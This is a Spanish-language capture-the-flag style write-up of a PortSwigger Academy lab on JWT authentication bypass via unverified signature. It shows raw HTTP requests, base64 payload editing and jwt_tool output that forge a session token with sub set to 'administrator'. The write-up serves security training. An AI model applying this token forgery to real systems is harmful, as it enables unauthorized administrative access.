Lab 1: JWT authentication bypass via unverified signature
https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature
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https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature
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Debes tener instalado esta extencion en Burp:
La primera peticion es la siguiente:
POST /login HTTP/2
Host: 0a5500da03f7cf4d80603538004000ec.web-security-academy.net
Cookie: session=
Content-Length: 68
Cache-Control: max-age=0
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
Origin: https://0a5500da03f7cf4d80603538004000ec.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a5500da03f7cf4d80603538004000ec.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
csrf=XWFfOv9SZFuIjGixnDg77vQOvsmzDRTm&username=wiener&password=peterLa respuesta de la peticion es:
HTTP/2 302 Found
Location: /my-account?id=wiener
Set-Cookie: session=eyJraWQiOiI4YzNkMjczYS0wYTNhLTQ3Y2MtODVlYS01ZWQ1Zjg1MTM3MDUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcxNzQ0MDU0MSwic3ViIjoid2llbmVyIn0.N7gC26S9_PFb2ZeGWn2z81E0a36LQjKJaSHcdthHy3EepGgFGXWwd2uj0nXLPiG55NLEO5em0G5T486lFvf2Tw1QKaeBBvMY0twV14quL0R5If7RxApTbRCl0Rwwckx0EXSJZhOgC8dKQ5U24MICb3J6CNPxqh5sZQoEcQmpDcWf1CWzsBrvZztB9hk4VX-fA0xkq_Huq_K-bFLo78fDwIT5PY8ADk_ueH50Gz7lH7ztb_cxjL0DJ9wh9lxVZi2j2NvaVpjiYunu1gjc46a2FYE4SS_3HPV_0JK5UCDvsMjpQkF2P9MpU4imvk-CrOuX4OOkGW9YX_PXzDx2BNkkHg; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0Este JWT tiene la siguiente estructura:
kali@gerh$ echo '{"iss":"portswigger","exp":1717440541,"sub":"administrator"}' | base64
eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcxNzQ0MDU0MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9Cg==El target o objetivo del challenge es visualizar la siguiente ruta:
GET /admin HTTP/2
Host: 0a5500da03f7cf4d80603538004000ec.web-security-academy.net
Cookie: session=eyJraWQiOiI4YzNkMjczYS0wYTNhLTQ3Y2MtODVlYS01ZWQ1Zjg1MTM3MDUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcxNzQ0MDU0MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.N7gC26S9_PFb2ZeGWn2z81E0a36LQjKJaSHcdthHy3EepGgFGXWwd2uj0nXLPiG55NLEO5em0G5T486lFvf2Tw1QKaeBBvMY0twV14quL0R5If7RxApTbRCl0Rwwckx0EXSJZhOgC8dKQ5U24MICb3J6CNPxqh5sZQoEcQmpDcWf1CWzsBrvZztB9hk4VX-fA0xkq_Huq_K-bFLo78fDwIT5PY8ADk_ueH50Gz7lH7ztb_cxjL0DJ9wh9lxVZi2j2NvaVpjiYunu1gjc46a2FYE4SS_3HPV_0JK5UCDvsMjpQkF2P9MpU4imvk-CrOuX4OOkGW9YX_PXzDx2BNkkHg
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Referer: https://0a5500da03f7cf4d80603538004000ec.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Lo anterior responde:
HTTP/2 401 Unauthorized
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2614
<!DOCTYPE html>
<html>
<head>
<link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
<link href=/resources/css/labs.css rel=stylesheet>
<title>JWT authentication bypass via unverified signature</title>
</head>
<body>
<script src="/resources/labheader/js/labHeader.js"></script>
<div id="academyLabHeader">
<section class='academyLabBanner'>
<div class=container>
<div class=logo></div>
<div class=title-container>
<h2>JWT authentication bypass via unverified signature</h2>
<a class=link-back href='https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature'>
Back to lab description
<svg version=1.1 id=Layer_1 xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' x=0px y=0px viewBox='0 0 28 30' enable-background='new 0 0 28 30' xml:space=preserve title=back-arrow>
<g>
<polygon points='1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15'></polygon>
<polygon points='14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15'></polygon>
</g>
</svg>
</a>
</div>
<div class='widgetcontainer-lab-status is-notsolved'>
<span>LAB</span>
<p>Not solved</p>
<span class=lab-status-icon></span>
</div>
</div>
</div>
</section>
</div>
<div theme="">
<section class="maincontainer">
<div class="container is-page">
<header class="navigation-header">
<section class="top-links">
<a href=/>Home</a><p>|</p>
<a href="/my-account?id=wiener">My account</a><p>|</p>
</section>
</header>
<header class="notification-header">
</header>
Admin interface only available if logged in as an administrator
</div>
</section>
<div class="footer-wrapper">
</div>
</div>
</body>
</html>
Luego de obtener el base64 del sub en administrator borramos los iguales y rearmamos el JWT.
Tambien podriamos utilizar esta herramienta:
Y al utilizar este JWT se obtiene lo siguiente:
┌──(root㉿SPARTAN-SERVER)-[/home/hacker/BURP/jwt_tool]
└─# git clone https://github.com/ticarpi/jwt_tool
Cloning into 'jwt_tool'...
remote: Enumerating objects: 237, done.
remote: Counting objects: 100% (55/55), done.
remote: Compressing objects: 100% (31/31), done.
remote: Total 237 (delta 46), reused 26 (delta 24), pack-reused 182
Receiving objects: 100% (237/237), 168.77 KiB | 1.21 MiB/s, done.
Resolving deltas: 100% (115/115), done.
┌──(root㉿SPARTAN-SERVER)-[/home/hacker/BURP]
└─# cd jwt_tool/
┌──(root㉿SPARTAN-SERVER)-[/home/hacker/BURP/jwt_tool]
└─# python3 -m pip install -r requirements.txt
Requirement already satisfied: termcolor in /usr/lib/python3/dist-packages (from -r requirements.txt (line 1)) (2.4.0)
Collecting cprint (from -r requirements.txt (line 2))
Downloading cprint-1.2.2.tar.gz (2.3 kB)
Preparing metadata (setup.py) ... done
Requirement already satisfied: pycryptodomex in /usr/lib/python3/dist-packages (from -r requirements.txt (line 3)) (3.11.0)
Requirement already satisfied: requests in /usr/lib/python3/dist-packages (from -r requirements.txt (line 4)) (2.31.0)
Building wheels for collected packages: cprint
Building wheel for cprint (setup.py) ... done
Created wheel for cprint: filename=cprint-1.2.2-py3-none-any.whl size=2519 sha256=09667e05724fc2ec2936bac3972660704eb03f72120f6e9a533f5e26aa05e369
Stored in directory: /root/.cache/pip/wheels/70/a4/e4/81debccb20c7e7e99097cfd17701681f953964ac84d6484834
Successfully built cprint
Installing collected packages: cprint
Successfully installed cprint-1.2.2
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venvY luego ejecutamos el siguiente comando:
┌──(root㉿SPARTAN-SERVER)-[/home/hacker/BURP/jwt_tool]
└─# python3 jwt_tool.py eyJraWQiOiI3NDEyN2M1Yi0xOWVhLTQyMDYtYTg3MC1lNGIwYWUyNTI2M2EiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcxNzQ0OTE2OCwic3ViIjoid2llbmVyIn0.ryItspWLrfVS4L2_4vqtUxUlK1FOmXnLmcDfLeJyHAfnt5eUM_fzNPf4SWIvtSnxO9ODy-00oQRsSN0ySHx8HUN3S5Y5VEReiCyIC0GB7NrTTwvki1VDKuDFimwCaKCVXjbBSGf32J7EFkw5cvOaygwB7mVxpv7hQcipMHGWcmXMRZPCRLyxvKkpV-8lQzdLZ19RQqYhsxSMksfyp4kXxOp8cBf5WUOR_jk3QV3qDeg0pQO-2TTXnhdTulq74cvGUF9tAEKxPEHscixXYXDv_zR6h3GA1Z-CJ_bqeMuZfms3RA9B1FQ3YnFWcVOeb2s1aSeHc8Bxjo2WwxkVm3Edzw
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.7 \______| @ticarpi
Original JWT:
=====================
Decoded Token Values:
=====================
Token header values:
[+] kid = "74127c5b-19ea-4206-a870-e4b0ae25263a"
[+] alg = "RS256"
Token payload values:
[+] iss = "portswigger"
[+] exp = 1717449168 ==> TIMESTAMP = 2024-06-03 16:12:48 (UTC)
[+] sub = "wiener"
----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------Y para modificarlo:
┌──(root㉿SPARTAN-SERVER)-[/home/hacker/BURP/jwt_tool]
└─# python3 jwt_tool.py eyJraWQiOiI3NDEyN2M1Yi0xOWVhLTQyMDYtYTg3MC1lNGIwYWUyNTI2M2EiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcxNzQ0OTE2OCwic3ViIjoid2llbmVyIn0.ryItspWLrfVS4L2_4vqtUxUlK1FOmXnLmcDfLeJyHAfnt5eUM_fzNPf4SWIvtSnxO9ODy-00oQRsSN0ySHx8HUN3S5Y5VEReiCyIC0GB7NrTTwvki1VDKuDFimwCaKCVXjbBSGf32J7EFkw5cvOaygwB7mVxpv7hQcipMHGWcmXMRZPCRLyxvKkpV-8lQzdLZ19RQqYhsxSMksfyp4kXxOp8cBf5WUOR_jk3QV3qDeg0pQO-2TTXnhdTulq74cvGUF9tAEKxPEHscixXYXDv_zR6h3GA1Z-CJ_bqeMuZfms3RA9B1FQ3YnFWcVOeb2s1aSeHc8Bxjo2WwxkVm3Edzw -T
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.7 \______| @ticarpi
Original JWT:
====================================================================
This option allows you to tamper with the header, contents and
signature of the JWT.
====================================================================
Token header values:
[1] kid = "74127c5b-19ea-4206-a870-e4b0ae25263a"
[2] alg = "RS256"
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 0
Token payload values:
[1] iss = "portswigger"
[2] exp = 1717449168 ==> TIMESTAMP = 2024-06-03 16:12:48 (UTC)
[3] sub = "wiener"
[4] *ADD A VALUE*
[5] *DELETE A VALUE*
[6] *UPDATE TIMESTAMPS*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 3
Current value of sub is: wiener
Please enter new value and hit ENTER
> administrator
[1] iss = "portswigger"
[2] exp = 1717449168 ==> TIMESTAMP = 2024-06-03 16:12:48 (UTC)
[3] sub = "administrator"
[4] *ADD A VALUE*
[5] *DELETE A VALUE*
[6] *UPDATE TIMESTAMPS*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 0
Signature unchanged - no signing method specified (-S or -X)
jwttool_862973b976d2b08270bd4d13e60bce82 - Tampered token:
[+] eyJraWQiOiI3NDEyN2M1Yi0xOWVhLTQyMDYtYTg3MC1lNGIwYWUyNTI2M2EiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcxNzQ0OTE2OCwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.ryItspWLrfVS4L2_4vqtUxUlK1FOmXnLmcDfLeJyHAfnt5eUM_fzNPf4SWIvtSnxO9ODy-00oQRsSN0ySHx8HUN3S5Y5VEReiCyIC0GB7NrTTwvki1VDKuDFimwCaKCVXjbBSGf32J7EFkw5cvOaygwB7mVxpv7hQcipMHGWcmXMRZPCRLyxvKkpV-8lQzdLZ19RQqYhsxSMksfyp4kXxOp8cBf5WUOR_jk3QV3qDeg0pQO-2TTXnhdTulq74cvGUF9tAEKxPEHscixXYXDv_zR6h3GA1Z-CJ_bqeMuZfms3RA9B1FQ3YnFWcVOeb2s1aSeHc8Bxjo2WwxkVm3Edzw
